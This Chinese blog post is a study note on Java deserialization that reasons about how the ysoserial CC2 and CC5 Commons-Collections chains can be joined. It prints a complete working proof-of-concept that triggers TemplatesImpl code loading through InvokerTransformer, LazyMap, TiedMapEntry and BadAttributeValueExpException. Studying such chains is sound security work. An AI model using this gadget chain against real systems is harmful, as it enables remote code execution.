当前位置:   article > 正文

Java安全学习笔记--基于ysoserial反序列化利用工具CC2和CC5链构造方式的思考_cc2和cc5之间有哪些区别

cc2和cc5之间有哪些区别

前言:

ysoserial反序列化利用工具的CC5链和CC6链的利用链核心都还是LazyMap+ChainedTransformer,两条利用链通过TideMapEntry的toString和hashCode方法来触发核心利用链,最终触发get方法,这里是否能模仿CC3,CC4链做一个拼接呢?

思考实现方式:

把三个方法放一块

  1. public V getValue() {
  2. return this.map.get(this.key);//这里的this.map就是我们的LazyMap
  3. }
  4. //LazyMap的get方法:
  5. public V get(Object key) {
  6. if (!this.map.containsKey(key)) {
  7. V value = this.factory.transform(key);
  8. this.map.put(key, value);
  9. return value;
  10. } else {
  11. return this.map.get(key);
  12. }
  13. }
  14. //这里的key随便传入,但是是否这里的key感觉可以利用
  15. public int hashCode() {
  16. Object value = this.getValue();
  17. return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
  18. }
  19. public String toString() {
  20. return this.getKey() + "=" + this.getValue();
  21. }

LazyMap的key值由于核心构造链的ConstantTransformer的transform方法我们传什么都不会影响transform方法的调用结果,但是在回顾之前的cc链时发现似乎有些相似的地方。

  1. //TransformingComparate
  2. public int compare(I obj1, I obj2) {
  3. O value1 = this.transformer.transform(obj1);
  4. O value2 = this.transformer.transform(obj2);
  5. return this.decorated.compare(value1, value2);
  6. }
  7. //Lazymap
  8. public V get(Object key) {
  9. if (!this.map.containsKey(key)) {
  10. V value = this.factory.transform(key);
  11. this.map.put(key, value);
  12. return value;
  13. } else {
  14. return this.map.get(key);
  15. }
  16. }

cc2链的中的一个节点使用InvokeTransformer来触发templateImp类的newTransformer,而接下来使用的是TransfomingComparator+priorityQueue来触发,我们把compare方法和get方法放一起,可以看出来了compare中的obj1被传入并被利用到,但是get方法的key没有被利用,那如果这个key是一个有效的obj1,不知道是否能实现。

实现:

  1. import javassist.ClassPool;
  2. import javassist.CtClass;
  3. import org.apache.commons.collections4.functors.InvokerTransformer;
  4. import org.apache.commons.collections4.keyvalue.TiedMapEntry;
  5. import org.apache.commons.collections4.map.LazyMap;
  6. import javax.management.BadAttributeValueExpException;
  7. import java.io.ByteArrayInputStream;
  8. import java.io.ByteArrayOutputStream;
  9. import java.io.ObjectInputStream;
  10. import java.io.ObjectOutputStream;
  11. import java.lang.reflect.Constructor;
  12. import java.lang.reflect.Field;
  13. import java.util.HashMap;
  14. public class CCxPOC {
  15. public static void main(String[] args) throws Exception {
  16. //将恶意类转换为字节码
  17. ClassPool classPool = ClassPool.getDefault();
  18. CtClass ctClass = classPool.getCtClass("com.test.evilClass");
  19. byte[] bytes = ctClass.toBytecode();
  20. //反射创建TemplatesImpl
  21. Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
  22. Constructor<?> constructor = aClass.getDeclaredConstructor();
  23. //TemplatesImpl有无参构造不需传参
  24. Object templatesImpl = constructor.newInstance();
  25. //将恶意类的字节码设置给_bytecodes属性
  26. Field bytecodes = aClass.getDeclaredField("_bytecodes");
  27. bytecodes.setAccessible(true);
  28. bytecodes.set(templatesImpl, new byte[][]{bytes});
  29. //设置属性_name为恶意类名
  30. Field name = aClass.getDeclaredField("_name");
  31. name.setAccessible(true);
  32. name.set(templatesImpl , "evilTemplatesImpl");
  33. //利用invokerTransformer类的transform方法来触发newTransformer
  34. InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
  35. LazyMap lazyMap=LazyMap.lazyMap(new HashMap(),transformer);
  36. TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,templatesImpl);
  37. BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("sad");
  38. Class classInstance=badAttributeValueExpException.getClass();
  39. Field field=classInstance.getDeclaredField("val");
  40. field.setAccessible(true);
  41. field.set(badAttributeValueExpException,tiedMapEntry);
  42. //
  43. ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
  44. ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
  45. objectOutputStream.writeObject(badAttributeValueExpException);
  46. objectOutputStream.close();
  47. //
  48. ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
  49. ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
  50. objectInputStream.readObject();
  51. }
  52. }

总结:

写完直接一次运行就过了说明这个思路可行,这里用的是CC2和CC5拼接,那CC2拼接CC6也就同样可行了,不过这还是相当于基于之前的CC链做的拼接,可能早就被实现过了,但起码有了自己的思考而不是仅仅只是复现。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/694823
推荐阅读
相关标签
  

闽ICP备14008679号